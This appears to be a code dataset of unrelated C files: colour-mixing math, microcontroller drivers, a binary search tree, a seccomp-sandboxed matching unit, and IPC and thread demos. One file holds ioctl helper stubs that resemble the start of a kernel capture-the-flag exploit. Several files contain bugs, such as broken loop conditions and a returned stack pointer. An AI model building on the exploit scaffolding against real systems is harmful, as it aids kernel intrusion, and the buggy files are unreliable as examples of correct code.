RGB(4 , 120, 0 ), /* #047800 H=118 S=100 V=47 1000 */
RGB(0 , 202, 97 ), /* #00CA61 H=149 S=100 V=79 1001 */
RGB(127, 127, 127), /* #7F7F7F H=0 S=0 V=50 1010 */
RGB(114, 209, 255), /* #72D1FF H=200 S=55 V=100 1011 */
RGB(144, 166, 0 ), /* #90A600 H=68 S=100 V=65 1100 */
RGB(131, 248, 55 ), /* #83F837 H=96 S=78 V=97 1101 */
RGB(255, 173, 85 ), /* #FFAD55 H=31 S=67 V=100 1110 */
RGB(255, 255, 255) /* #FFFFFF H=0 S=0 V=100 1111 */
#endif
};
/*
0x00 -> 0
0x55 -> 85
0xAA -> 170
0xFF -> 255
*/
unsigned long desirable[16] = {
RGB( 0, 0, 0),
RGB( 0, 0,170),
RGB( 0,170, 0),
RGB( 0,170,170),
RGB(170, 0, 0),
RGB(170, 0,170),
RGB(170, 85, 0),
RGB(170,170,170),
RGB( 85, 85, 85),
RGB( 85, 85,255),
RGB( 85,255, 85),
RGB( 85,255,255),
RGB(255, 85, 85),
RGB(255, 85,255),
RGB(255,255, 85),
RGB(255,255,255)
};
int main()
{
int i,j,mf,me,mj,r,g,b;
double d,c1,c2;
printf("\n1-color mix:\n\n\t");
for(i=0;i<16;i++) printf("X[%i]\t",i);
printf("\n");
for(i=0;i<16;i++)
{
printf("E[%i]\t",i,actual[i]);
me = 1000;
mj = -1;
for(j=0;j<16;j++)
{
d = 0;
c1 = actual[j]&255;
c2 = desirable[i]&255;
d += (c1-c2)*(c1-c2);
c1 = (actual[j]>>8)&255;
c2 = (desirable[i]>>8)&255;
d += (c1-c2)*(c1-c2);
c1 = (actual[j]>>16)&255;
c2 = (desirable[i]>>16)&255;
d += (c1-c2)*(c1-c2);
d = sqrt(d);
printf("%3.2lf\t",d);
if(d < me)
{
me = (int)d;
if(d-me >= 0.5) me++;
mj = j;
}
}
printf("[%i]\n",mj);
}
printf("\n2-color mix:\n\n");
for(i=0;i<16;i++)
{
me = 1000;
mj = -1;
for(j=0;j<256;j++)
{
d = 0;
c1 = ((actual[j&15]&255)+(actual[j>>4]&255))/2.0;
r = c1; if(c1-r>=0.5) r++; if(r>255) r=255;
c2 = desirable[i]&255;
d += (c1-c2)*(c1-c2);
c1 = (((actual[j&15]>>8)&255)+((actual[j>>4]>>8)&255))/2.0;
g = c1; if(c1-g>=0.5) g++; if(g>255) g=255;
c2 = (desirable[i]>>8)&255;
d += (c1-c2)*(c1-c2);
c1 = (((actual[j&15]>>16)&255)+((actual[j>>4]>>16)&255))/2.0;
b = c1; if(c1-b>=0.5) b++; if(b>255) b=255;
c2 = (desirable[i]>>16)&255;
d += (c1-c2)*(c1-c2);
d = sqrt(d);
switch(i)
{
case 0: if(j==0x00) mf=(int)d; break;
case 1: if(j==0x11) mf=(int)d; break;
case 2: if(j==0x88) mf=(int)d; break;
case 3: if(j==0x99) mf=(int)d; break;
case 4: if(j==0x44) mf=(int)d; break;
case 5: if(j==0x22) mf=(int)d; break;
case 6: if(j==0xCC) mf=(int)d; break;
case 7: if(j==0x55) mf=(int)d; break;
case 8: if(j==0xAA) mf=(int)d; break;
case 9: if(j==0x33) mf=(int)d; break;
case 10:if(j==0xDD) mf=(int)d; break;
case 11:if(j==0xBB) mf=(int)d; break;
case 12:if(j==0x66) mf=(int)d; break;
case 13:if(j==0x77) mf=(int)d; break;
case 14:if(j==0xEE) mf=(int)d; break;
case 15:if(j==0xFF) mf=(int)d; break;
}
if(d < me)
{
me = (int)d;
if(d-me >= 0.5) me++;
mj = j;
}
if(i==0) printf("%3d %3d %3d [%i] 0x%2.2X\n",r,g,b,j,j);
if(i==0 && j==255) printf("\n");
}
printf("E[%i]\t#%2.2X ERR=%i\tERR'=%i\t%c\n",i,mj,me,mf,((mj>>4)==(mj&15))?' ':'!');
}
return 0;
}
|
C
|
/*
SysTick driver. Written for a specific project. Not intended for general use.
*/
#include "systick.h"
void SysTick_Handler(void){
// The systick fires each millisecond. Increemnt the global ms_value
// variable every ms.
ms_value++;
}
void SysTick_init(void){
// Disable systick and interrupts while making changes
SysTick->CTRL &= ~((1U << 0) | (1U << 1));
// With a 16 MHz clock, a period of 16,000 cycles will
// equal a period of 1ms.
SysTick->LOAD = 15999U;
// Writing any value to this register clears it. This
// reg holds the counter value for the SysTick timer. When
// it hits 0 it rolls over and generates an interrupt.
SysTick->VAL = 0;
// Enable interrupts for the SysTick module, enable the module
// itself, and use the system clock for the timer.
SysTick->CTRL |= (1U << 2) | (1U << 1) | (1U << 0);
// Enable SysTick interrupt in NVIC
NVIC->ISER[0] = (1U << 15);
}
|
C
|
#include<stdio.h>
int main()
{
int c;
while(1){
c=getchar();
if(c==EOF) break;
if(c=='\n') printf(","); else printf("%c",c);
}
return 0;
}
|
C
|
/*
* PowerMgr.c
*
* Created on: May 29, 2021
* Author: rzesz
*/
#include "PowerMgr.h"
#include "main.h"
void Switch_PowerMode(volatile PowerMode *flag)
{
if (FULL_OPERATIONAL == *flag)
{
*flag = STOP_MODE;
HAL_SuspendTick();
HAL_GPIO_WritePin(LED_GPIO_Port, LED_Pin, GPIO_PIN_SET);
HAL_PWR_EnableSleepOnExit ();
HAL_PWR_EnterSTOPMode(PWR_MAINREGULATOR_ON, PWR_STOPENTRY_WFI);
}
else if (STOP_MODE == *flag)
{
HAL_GPIO_WritePin(LED_GPIO_Port, LED_Pin, GPIO_PIN_RESET);
HAL_ResumeTick ();
*flag = FULL_OPERATIONAL;
HAL_PWR_DisableSleepOnExit();
}
else
{
/* Do nothing */
}
}
void BatteryVoltageMonitor(float Vbat, PowerMode *flag)
{
if(Vbat < VOLTAGE_THRESHOLD && Vbat != 0)
{
Switch_PowerMode(flag);
}
}
float Calculate_BatteryVoltage(const uint16_t adc_read)
{
return ((adc_read *SUPPLAY_VOLTAGE/ ADC_RESOLUTION) * 3);
}
|
C
|
#include <stdlib.h> /* malloc, free */
#include <assert.h> /* assert */
#include "bst.h" /* bst_node_t, bst_t, bst_iter_t, bst_is_before_func_t */
struct bst_node
{
bst_node_t *parent;
bst_node_t *child_before, *child_after;
void *data;
};
struct bst
{
bst_node_t *root;
bst_is_before_func_t func;
void *param;
};
static bst_node_t *NodeCreate(void *data);
static bst_iter_t GetMinimalChildInBranch(bst_iter_t it);
static bst_iter_t GetMaximalChildInBranch(bst_iter_t it);
/**********************
* FUNCTIONS *
**********************/
bst_t *BSTCreate(bst_is_before_func_t func, void *param)
{
bst_t *tree = NULL;
tree = malloc(sizeof(*tree));
if (NULL == tree)
{
return NULL;
}
tree->func = func;
tree->param = param;
tree->root = NodeCreate(NULL);
if (NULL == tree->root)
{
free(tree->param); tree->param = NULL;
free(tree); tree = NULL;
return NULL;
}
tree->root->parent = NodeCreate(NULL);
if (NULL == tree->root->parent)
{
free(tree->param); tree->param = NULL;
free(tree->root); tree->root = NULL;
free(tree); tree = NULL;
return NULL;
}
tree->root->parent->child_before = tree->root;
return tree;
}
void BSTDestroy(bst_t *tree)
{
bst_iter_t iterator = {NULL, NULL};
assert(NULL != tree->root);
for (iterator = BSTBegin(tree);
(BSTIterIsSame(iterator, BSTEnd(tree)));
iterator = BSTIterNext(iterator))
{
BSTRemove(iterator);
}
free(tree->root->parent); tree->root->parent = NULL;
free(tree->root); tree->root = NULL;
free(tree); tree = NULL;
}
bst_iter_t BSTInsert(bst_t *tree, void *data)
{
bst_node_t *parent_node = NULL;
bst_node_t *curr_node = NULL;
bst_node_t *new_node = NULL;
bst_iter_t iterator = {NULL, NULL};
assert(NULL != tree);
iterator = BSTBegin(tree);
/* if the tree is empty */
if (NULL == BSTGetData(iterator))
{
tree->root->data = data;
iterator.curr = tree->root;
return iterator;
}
for (curr_node = tree->root; NULL != curr_node; )
{
parent_node = curr_node;
if (tree->func(data, curr_node->data, tree->param))
{
curr_node = curr_node->child_before;
}
else
{
curr_node = curr_node->child_after;
}
}
new_node = NodeCreate(data);
if (NULL == new_node)
{
return BSTEnd(tree);
}
new_node->parent = parent_node;
if (tree->func(new_node->data, parent_node->data, tree->param))
{
parent_node->child_before = new_node;
}
else
{
parent_node->child_after = new_node;
}
iterator.curr = new_node;
return iterator;
}
bst_iter_t BSTRemove(bst_iter_t iterator)
{
bst_iter_t parent_iter = {NULL, NULL};
bst_node_t *removable = NULL;
bst_node_t *child_after = NULL;
if ((iterator.tree->root == iterator.curr))
{
iterator.curr->data = NULL;
return iterator;
}
removable = iterator.curr;
if (NULL == removable->child_before)
{
iterator.curr = removable->parent;
if (NULL != removable->child_after)
{
if (removable->parent->child_after == removable)
{
iterator.curr->child_after = removable->child_after;
}
else
{
iterator.curr->child_before = removable->child_after;
}
}
removable->child_after->parent = iterator.curr;
}
else if (NULL == removable->child_after)
{
iterator.curr = removable->child_before;
if (NULL == removable->child_after)
{
if (removable->parent->child_after == removable)
{
parent_iter.curr->child_after = iterator.curr;
}
else
{
parent_iter.curr->child_before = iterator.curr;
iterator.curr = parent_iter.curr;
}
}
}
else /* node has both children */
{
if (removable == removable->parent->child_after)
{
parent_iter.curr = removable->parent;
if (NULL == parent_iter.curr->child_before)
{
parent_iter.curr->child_after = removable->child_before;
child_after = removable->child_after;
iterator.curr = removable->child_before;
iterator = GetMaximalChildInBranch(iterator);
iterator.curr->child_after = child_after;
child_after->parent = iterator.curr;
}
else /* parent has a child_before */
{
iterator.curr = parent_iter.curr->child_before;
iterator = GetMaximalChildInBranch(iterator);
iterator.curr->child_after = removable->child_before;
removable->child_before->parent = iterator.curr;
/*parent_iter.curr = iterator.curr;*/
iterator.curr = removable->child_before;
iterator = GetMaximalChildInBranch(iterator);
child_after = removable->child_after;
iterator.curr->child_after = child_after;
child_after->parent = iterator.curr;
iterator.curr = child_after;
}
}
}
free(removable); removable = NULL;
return iterator;
}
bst_iter_t BSTFind(const bst_t *tree, void *key)
{
bst_iter_t iterator = {NULL, NULL};
assert(NULL != tree);
for (iterator = BSTBegin(tree);
!BSTIterIsSame(iterator, BSTEnd(tree));
iterator = BSTIterNext(iterator))
{
if (iterator.curr->data == key)
{
return iterator;
}
}
return BSTEnd(tree);
}
int BSTForEach(bst_iter_t from, bst_iter_t to, bst_action_func_t func, void *param)
{
bst_iter_t it = {NULL, NULL};
for (it = from; !BSTIterIsSame(it, to); it = BSTIterNext(it))
{
if (func(it.curr->data, it.tree->param))
{
return 1;
}
}
return 0;
}
void *BSTGetData(bst_iter_t iterator)
{
return iterator.curr->data;
}
int BSTIsEmpty(bst_t *tree)
{
return !(NULL == tree->root->data);
}
/**********************
* ITERATOR FUNCS *
**********************/
bst_iter_t BSTBegin(const bst_t *tree)
{
bst_iter_t begin_iter = {NULL, NULL};
assert(NULL != tree);
begin_iter.tree = (bst_t *)tree;
begin_iter.curr = tree->root;
if (NULL != tree->root->child_before)
{
begin_iter = GetMinimalChildInBranch(begin_iter);
}
return begin_iter;
}
bst_iter_t BSTEnd(const bst_t *tree)
{
bst_iter_t end_iter = {NULL, NULL};
assert(NULL != tree);
end_iter.tree = (bst_t *)tree;
end_iter.curr = tree->root->parent;
return end_iter;
}
bst_iter_t BSTIterNext(bst_iter_t iterator)
{
if (BSTIterIsSame(iterator, BSTEnd(iterator.tree)))
{
return BSTEnd(iterator.tree);
}
if (NULL != iterator.curr->child_after)
{
iterator.curr = iterator.curr->child_after;
iterator = GetMinimalChildInBranch(iterator);
}
else
{
for (; !BSTIterIsSame(iterator, BSTEnd(iterator.tree));
iterator.curr = iterator.curr->parent)
{
if (iterator.curr == iterator.curr->parent->child_before)
{
iterator.curr = iterator.curr->parent;
break;
}
}
}
return iterator;
}
bst_iter_t BSTIterPrev(bst_iter_t iterator)
{
if (BSTIterIsSame(iterator, BSTEnd(iterator.tree)))
{
iterator.curr = iterator.tree->root;
return GetMaximalChildInBranch(iterator);
}
else if (BSTIterIsSame(iterator, BSTBegin(iterator.tree)))
{
return BSTEnd(iterator.tree);
}
else
{
if (NULL != iterator.curr->child_before)
{
iterator.curr = iterator.curr->child_before;
}
else
{
if (iterator.curr == iterator.curr->parent->child_before)
{
for (; BSTIterIsSame(iterator, BSTEnd(iterator.tree));
iterator.curr = iterator.curr->parent)
{
if (iterator.curr == iterator.curr->parent->child_after)
{
break;
}
}
}
iterator.curr = iterator.curr->parent;
}
}
return iterator;
}
int BSTIterIsSame(bst_iter_t iterator1, bst_iter_t iterator2)
{
return iterator1.curr == iterator2.curr;
}
/**********************
* INTERNAL FUNCS *
**********************/
static bst_node_t *NodeCreate(void *data)
{
bst_node_t *node = NULL;
node = malloc(sizeof(* node));
if (NULL == node)
{
return NULL;
}
node->data = data;
node->child_before = NULL;
node->child_after = NULL;
node->parent = NULL;
return node;
}
static bst_iter_t GetMinimalChildInBranch(bst_iter_t it)
{
if (NULL != it.curr->child_before)
{
for (; NULL != it.curr->child_before; it.curr = it.curr->child_before);
}
return it;
}
static bst_iter_t GetMaximalChildInBranch(bst_iter_t it)
{
if (NULL != it.curr->child_after)
{
for (; NULL != it.curr->child_after; it.curr = it.curr->child_after);
}
return it;
}
|
C
|
#include <stdio.h>
int main(int argc, char *argv[])
{
puts("Hello world.");
puts("This is my second line.");
puts("This is my third line.");
puts("This is my, awe screw it...");
puts("Um...hello again, I guess...");
return 0;
}
|
C
|
/*
* File: main.c
* Author: Monica Ignat
*
* Created on April 3rd, 2017
*/
#include <stdio.h>
#include <stdlib.h>
#include <xc.h>
#include <sys/attribs.h>
#include <stdbool.h>
#include <string.h>
#include "config.h"
#include "uart.h"
#include "lcd.h"
#include "uartjb.h"
#pragma config JTAGEN = OFF
#pragma config FWDTEN = OFF
/* ------------------------------------------------------------ */
/* Configuration Bits */
/* ------------------------------------------------------------ */
// Device Config Bits in DEVCFG1:
#pragma config FNOSC = FRCPLL
#pragma config FSOSCEN = OFF
#pragma config POSCMOD = XT
#pragma config OSCIOFNC = ON
#pragma config FPBDIV = DIV_2
// Device Config Bits in DEVCFG2:
#pragma config FPLLIDIV = DIV_2
#pragma config FPLLMUL = MUL_20
#pragma config FPLLODIV = DIV_1
int main(int argc, char** argv)
{
char strTxt[cchRxMax], strTxti[cchRxMax];
unsigned char cch, cchi;
bool commandMode = false;
//UARTJB and LCD basic initializations
UARTJB_Init(9600);
//UART_Init(115200);
LCD_Init();
//send a text to UART terminal on PC using UARTJB library
UART_PutString("Basys MX3 #1 \n\r");
UART_PutString("UART Demo Pmod \n\r");
//UARTJB_PutString("D");
//when sending a text file, make sure the content ends with CR+LF and your terminal is also setup accordingly, to transmit both characters
//otherwise, the file sending will not function correctly
while(1){
cch = UARTJB_GetString(strTxt, cchRxMax);
if(cch > 0)
{
UART_PutString(strTxt);
UART_PutString("\r\n");
LCD_WriteStringAtPos(strTxt, 1, 0);
}
cchi = UART_GetString(strTxti, cchRxMax);
if(cchi > 0)
{
LCD_WriteStringAtPos(strTxti, 0, 0);
if(strcmp(strTxti,"cmd") == 0){
commandMode = true;
UARTJB_PutString("$$$");
}
else{
UARTJB_PutString(strTxti);
UARTJB_PutString("\r\n");
}
}
}
return (1);
}
|
C
|
#include "jl_cv.h"
void jl_cv_getoutput(jl_cv_t* jl_cv);
void jl_cv_disp_gray_(jl_cv_t* jl_cv);
void jl_cv_draw_circle(jl_cv_t* jl_cv, jl_rect_t circle) {
jl_cv_getoutput(jl_cv);
cvCircle(jl_cv->image_rgb,
cvPoint(cvRound(circle.x), cvRound(circle.y)),
cvRound(circle.w), CV_RGB(0x00,0xFF,0x00), 1, 8, 0);
jl_cv_disp_gray_(jl_cv);
}
void jl_cv_draw_line(jl_cv_t* jl_cv, jl_cv_line_t line) {
jl_cv_getoutput(jl_cv);
cvLine(jl_cv->image_rgb, line.p1, line.p2, CV_RGB(0xFF,0x00,0xFF),
1, 8, 0);
jl_cv_disp_gray_(jl_cv);
}
void jl_cv_draw_rect(jl_cv_t* jl_cv, jl_cv_rect_t rect) {
jl_cv_getoutput(jl_cv);
cvRectangle(jl_cv->image_rgb,
cvPoint(rect.x, rect.y),
cvPoint(rect.x + rect.w, rect.y + rect.h),
CV_RGB(0x00,0xFF,0x00), 1, 8, 0);
jl_cv_disp_gray_(jl_cv);
}
|
C
|
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>
void setoff(int fd,long long size){
ioctl(fd,0x6677889C,size);
}
void core_read(int fd,char *buf){
ioctl(fd,0x6677889b,buf);
}
void core_copy_func(int fd,long long size){
ioctl(fd,0x6677889a,size);
}
int main(){
int fd ;
size_t tmp ;
char buf[0x50]="123134564654987987897987987987987987";
for(int i = 0;i<8;i++){
tmp = *(size_t *)(&buf[i*8]);
printf("[%d] %p\n",i,tmp);
}
}
|
C
|
#include <stdio.h>
#define MAXCOL 60
#define MAXROW 20
int rows=MAXROW;
int cols=0;
char screen[MAXROW][MAXCOL];
void setup(){
int r,c;
for(r=0;r<MAXROW;r++)
for(c=0;c<MAXCOL;c++)
screen[r][c]=' ';
}
void printb(){
int r,c;
for(r=rows;r<MAXROW;r++) {
for(c=0;c<=cols;c++)
printf("%c",screen[r][c]);
printf("\n");
}
for(c=0;c<=cols/10;c++)
for(r=1;r<=10;r++)
printf("%1d",r%10);
printf("\n");
}
void draw(x,w,h) int x,w,h; {
int i,j;
/* printf("drawings %dx%d @ %d\n",w,h,x); */
if(rows>(MAXROW-h)) rows=MAXROW-h;
if(cols<(x+w-1)) cols=x+w-1;
for(i=0;i<w;i++)
screen[MAXROW-h][i+x-1]='-';
for(i=1;i<h;i++) {
screen[MAXROW-h+i][x+w-2]='|';
screen[MAXROW-h+i][x-1]='!';
for(j=1;j<w-1;j++)
screen[MAXROW-h+i][x+j-1]='#';
}
}
main(){
int b;
int i;
int x,w,h;
setup();
scanf("%d",&b);
/* printf("loading %d buildings\n",b); */
for(i=0;i<b;i++) {
scanf("%d %d %d",&x,&w,&h);
draw(x,w,h);
}
printb();
}
|
C
|
#include <stdio.h>
int main()
{
int var = 10;
printf("%d\n",var);
return 0;
}
|
C
|
// Copyright 2020 Copyright Equipo 2
/* Minimal printf() facility for MCUs
* Warren W. Gay VE3WWG, Sun Feb 12 2017
*
* This work is placed into the public domain. No warranty, or guarantee
* is expressed or implied. When uou use this source code, you do so
* with full responsibility.
*/
#ifndef MINIPRINTF_H // cpplint says otherwise...
#define MINIPRINTF_H
#ifdef __cplusplus
extern "C" {
#endif
#include <stdarg.h>
int mini_vprintf_cooked(void (*putc)(char), const char *format, va_list args);
int mini_vprintf_uncooked(void (*putc)(char), const char *format, va_list args);
int mini_snprintf(char *buf, unsigned maxbuf, const char *format, ...)
__attribute((format(printf, 3, 4)));
#ifdef __cplusplus
}
#endif
#endif // MINIPRINTF_H
#if 0
//////////////////////////////////////////////////////////////////////
// From the README file:
//////////////////////////////////////////////////////////////////////
Tested and estimated to require about 640 bytes of code for STM32F103C8T6. Should
be usable on any MCU platform that supports:
#include <stdarg.h>
#include <string.h>
SUPPORT:
Each format item %+0wd, %0wx and for strings %-ws, the following
applies:
+ Optional: Indicates sign should always print (d and x)
- Optional: Indicates field should be left justified (s)
0 Optional: Pad with leading zeros (d and x)
w Optional: Decimal field width
Formats %c, %d, %x and %s are supported (only). '%%' prints as '%'.
Floating point is not supported, keeping this library minimal.
FORMAT EXAMPLES:
%+05d '+00009' int is 9.
%d '9'
%03d '009'
%04x '001F' int is 31
%x '1F'
%-9s 'abc ' string was 'abc'
%9s ' abc'
%s 'abc'
STRING FORMATTING:
int mini_snprintf(char *buf, unsigned maxbuf, const char *format, ...);
See standard snprintf(3). Note that the output is null terminated
when the buffer size permits.
DEVICE FORMATTING HOWTO:
int mini_vprintf_cooked(void (*putc)(char), const char *format, va_list args);
int mini_vprintf_uncooked(void (*putc)(char), const char *format, va_list args);
(0) Decide: cooked or uncooked output?
COOKED means that a CR is sent after every LF is sent out,
like UNIX terminal output.
UNCOOKED means no CR processing is performed. Like snprintf,
what you format is what you get.
(1) Declare your own putc function, something like:
static void uart_putc(char ch) {
usart_send_blocking(USART1, ch); // libopencm3
}
(2) Declare your own printf function:
int uart_printf(const char *format, ...)
__attribute((format(printf, 1, 2)));
int uart_printf(const char *format, ...) {
va_list args;
int rc;
va_start(args, format);
rc = mini_vprintf_cooked(uart_putc, format, args);
va_end(args);
return rc;
}
The attribute clause is optional, but when provided can only
appear in the function prototype. It allows the compiler to
check that you have appropriate arguments for each format item.
(3) Use it:
int flea_count = 45;
uart_printf("My dog has %d fleas.\n", flea_count);
NOTES:
1. Stack usage is minimal (perhaps 256 bytes).
2. No malloc/realloc/free calls (no heap usage)
3. Re-entrant (no static storage used)
4. Compromizes favoured smaller code over speed.
#endif // ABSTRACTION_AND_DOCUMENTATION_MINIPRINTF_MINIPRINTF_H_
/* End miniprintf.h */
|
C
|
#include<stdio.h>
#include<math.h>
int main()
{
int i;
for (i = 1; i <= 100; i++)
{
while(i%2==0)
{
printf("%d\n",i);
i++;
}
}
return 0;
}
|
C
|
#include "filter.h"
// Filters the collisions according to the time that it took place
void filterCollisions(collision_t** collisionArray, bool* hasCollided,
int* numCollisions) {
// Quicksort all collision candidates with the comparator function
qsort(collisionArray, *numCollisions, sizeof(collision_t*), &cmpCollision);
int saveIndex = 0;
collision_t* curCollision;
for (int curIndex = 0; curIndex < *numCollisions; curIndex++) {
curCollision = collisionArray[curIndex];
// printf("=== Particle %d and %d collided ===\n", curCollision->p->id,
// curCollision->q == NULL ? -1 : curCollision->q->id);
if (hasCollided[curCollision->p->id]
|| (curCollision->q != NULL && hasCollided[curCollision->q->id])) {
// Particle p has already collided OR particle q has already collided
// -> discard this colision candidate
free_collision(curCollision);
} else {
// Collision candidate is valid - marked p, q as collided
hasCollided[curCollision->p->id] = true;
if (curCollision-> q != NULL) hasCollided[curCollision->q->id] = true;
// Re-use collision candidates array to store valid collisions
collisionArray[saveIndex] = collisionArray[curIndex];
saveIndex++;
}
}
*numCollisions = saveIndex;
}
// Comparator for sorting collisions, earlier time then smaller particle 'p' id
int cmpCollision(const void* collisionA, const void* collisionB) {
collision_t* firstCollision = *(collision_t**) collisionA;
collision_t* secondCollision = *(collision_t**) collisionB;
if (firstCollision->time == secondCollision->time) {
// If both collisions involve the same first particle
// Then prioritize the wall collision, otherwise prioritize lower second particle ID
if (firstCollision->p->id == secondCollision->p->id) {
if (firstCollision->q == NULL) return -1;
else if (secondCollision->q == NULL) return 1;
else return (firstCollision->q->id < secondCollision->q->id) ? -1 : 1;
}
// If two collisions occur at exactly the same time
// Then prioritise the one which involves the particle P with lower ID
return (firstCollision->p->id < secondCollision->p->id) ? -1 : 1;
} else {
// Otherwise prioritise the collision occurring at an earlier time
return (firstCollision->time < secondCollision->time) ? -1 : 1;
}
}
|
C
|
#include <assert.h>
#include <stdlib.h>
#include <stdbool.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <seccomp.h> /* libseccomp */
#include "types.h"
#include "matching_unit.h"
#include "queue.h"
token_waiting_table_type* token_waiting_table;
key_type token_to_key(token_type token)
{
key_type to_return;
to_return.tag = token.tag;
to_return.destination = DESTINATION_TO_ADDRESS(token.destination);
return to_return;
}
unsigned long key_to_index(key_type key)
{
uint64_t idx = key.tag + key.destination;
return idx % token_waiting_table->table_size;
}
static inline bool key_equal(key_type key1, key_type key2)
{
return key1.tag == key2.tag && key1.destination == key2.destination;
}
ready_token_pair_type ready_token_pair_from_tokens(token_type token_1, token_type token_2)
{
ready_token_pair_type to_return;
#ifdef DEBUG
assert(token_1.tag == token_2.tag);
assert(DESTINATION_TO_ADDRESS(token_1.destination) == DESTINATION_TO_ADDRESS(token_2.destination));
if (DESTINATION_TO_INPUT(token_1.destination) == DESTINATION_TO_INPUT(token_2.destination))
{
printf("Shit it happened\n");
print_token(token_1);
print_token(token_2);
}
assert(DESTINATION_TO_INPUT(token_1.destination) != DESTINATION_TO_INPUT(token_2.destination));
#endif
if (DESTINATION_TO_INPUT(token_1.destination) == INPUT_ONE)
{
to_return.token_1 = token_1;
to_return.token_2 = token_2;
}
else
{
to_return.token_1 = token_2;
to_return.token_2 = token_1;
}
return to_return;
}
void run_matching_unit(queue* incoming_token_queue, queue* ready_token_pair_queue, uint32_t max_table_size)
{
// set up seccomp
scmp_filter_ctx ctx;
int rc = 0;
ctx = seccomp_init(SCMP_ACT_KILL); // default action: kill
rc += seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigreturn), 0);
rc += seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
rc += seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(futex), 0);
rc += seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
#ifdef DEBUG
rc += seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
#endif
if (rc != 0) {
#ifdef DEBUG
perror("seccomp_rule_add failed");
#endif
return;
}
// load the filter
seccomp_load(ctx);
if (rc != 0) {
#ifdef DEBUG
perror("seccomp_load failed");
#endif
return;
}
token_waiting_table = (token_waiting_table_type*)malloc(sizeof(token_waiting_table_type));
token_waiting_table->num_elements = 0;
token_waiting_table->table_size = max_table_size;
token_waiting_table->table = (table_elements*)malloc(sizeof(table_elements) * token_waiting_table->table_size);
// Everything is empty
for (int i = 0; i < token_waiting_table->table_size; i++)
{
token_waiting_table->table[i].element_type = EMPTY;
}
while (1)
{
token_type next_token;
ready_token_pair_type ready_token_pair;
queue_remove(incoming_token_queue, &next_token, sizeof(token_type));
// fprintf(stderr, "Matching unit got a new token\n");
// print_token(next_token);
uint8_t matching_function = DESTINATION_TO_MATCHING_FUNCTION(next_token.destination);
// The instruction that this is destined for only needs one
// input (maybe it is a monadic operator or includes a literal), so it is sent to the output.
// MATCHING_ANY is used for MERGE instructions, so whatever is ready is sent to the output
if (matching_function == MATCHING_ONE || matching_function == MATCHING_ANY)
{
ready_token_pair.token_1 = next_token;
queue_add(ready_token_pair_queue, &ready_token_pair, sizeof(ready_token_pair_type));
}
else if (matching_function == MATCHING_BOTH)
{
key_type key = token_to_key(next_token);
// Is the other input in our waiting table? If so, send it to the output queue (and remove the other)
// if the other input is not in our waiting table, then insert this token into
unsigned long element_index = key_to_index(key);
table_elements element = token_waiting_table->table[element_index];
if (element.element_type == EMPTY)
{
add_to_waiting_table(key, next_token);
}
else
{
token_type* found = NULL;
for (table_list_type* cur = element.element; cur != NULL; cur = cur->next)
{
if (key_equal(key, cur->key))
{
found = &(cur->value);
break;
}
}
if (found == NULL)
{
add_to_waiting_table(key, next_token);
}
else
{
ready_token_pair = ready_token_pair_from_tokens(next_token, *found);
queue_add(ready_token_pair_queue, &ready_token_pair, sizeof(ready_token_pair_type));
remove_from_waiting_table(key);
}
}
}
else
{
#ifdef DEBUG
fprintf(stderr, "ERROR: unhandled matching function %d\n", matching_function);
assert(false);
#endif
}
}
}
void add_to_waiting_table(key_type key, token_type token)
{
unsigned long element_index = key_to_index(key);
table_elements* element = &token_waiting_table->table[element_index];
table_list_type* next = NULL;
if (element->element_type == EMPTY)
{
element->element_type = LIST;
}
else
{
next = element->element;
}
element->element = (table_list_type*) malloc(sizeof(table_list_type));
element->element->key = key;
element->element->value = token;
element->element->next = next;
}
/* Required that key exists in the waiting table */
void remove_from_waiting_table(key_type key)
{
unsigned long element_index = key_to_index(key);
table_elements* element = &token_waiting_table->table[element_index];
#ifdef DEBUG
assert(element->element_type == LIST);
#endif
if (key_equal(element->element->key, key))
{
if (element->element->next == NULL)
{
element->element_type = EMPTY;
free(element->element);
}
else
{
table_list_type* to_free = element->element;
element->element = element->element->next;
free(to_free);
}
}
else
{
bool found = false;
table_list_type* prev = element->element;
for (table_list_type* cur = element->element->next; cur != NULL; cur = cur->next)
{
if (key_equal(cur->key, key))
{
prev->next = cur->next;
free(cur);
found = true;
break;
}
prev = cur;
}
#ifdef DEBUG
assert(found);
#endif
}
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include "utils.h"
#include <unistd.h>
#define KEY 369
#define PERM 0666
int* z;
int shm_id;
//******************************************************************************
//INIT SHARED MEMORY
//******************************************************************************
void init_shm() {
shm_id = shmget(KEY, sizeof(int), IPC_CREAT | PERM);
checkNeg(shm_id, "Error shmget");
z = shmat(shm_id, NULL, 0);
checkCond(z == (void*) -1, "Error shmat");
}
//******************************************************************************
//RESET SHARED MEMORY
//******************************************************************************
void sshmdt() {
int r = shmdt(z);
checkNeg(r, "Error shmdt");
}
void del_shm() {
int r = shmctl(shm_id, IPC_RMID, NULL);
checkNeg(r, "Error shmctl");
}
//******************************************************************************
//CHILD HANDLER
//******************************************************************************
void child_handler() {
init_shm();
printf("*z = %d\n", *z);
*z = 987654321;
sshmdt();
}
//******************************************************************************
//MAIN FUNCTION
//******************************************************************************
int main (int argc, char *argv[]) {
pid_t cpid = fork_and_run0(&child_handler);
swaitpid(cpid, NULL, 0);
init_shm();
printf("*z = %d\n", *z);
sshmdt();
//COMMENT OR UNCOMMENT
//del_shm();
return 0;
}
|
C
|
#include "apue.h"
#include<pthread.h>
#include<unistd.h>
struct foo
{
int a, b, c, d;
};
void pr_foo(struct foo *f, const char *msg)
{
printf("%s a = %d, b = %d, c = %d, d = %d\n", msg, f->a, f->b, f->c, f->d);
}
void* thr_fn1(void *arg)
{
struct foo f = {1, 2, 3, 4};
pr_foo(&f, "thread: ");
pthread_exit((void*)&f);
}
int main()
{
pthread_t tid1;
if(pthread_create(&tid1, NULL, thr_fn1, NULL) != 0)
err_sys("pthread_create1");
void *status;
if(pthread_join(tid1, &status) != 0)
err_sys("pthread_join");
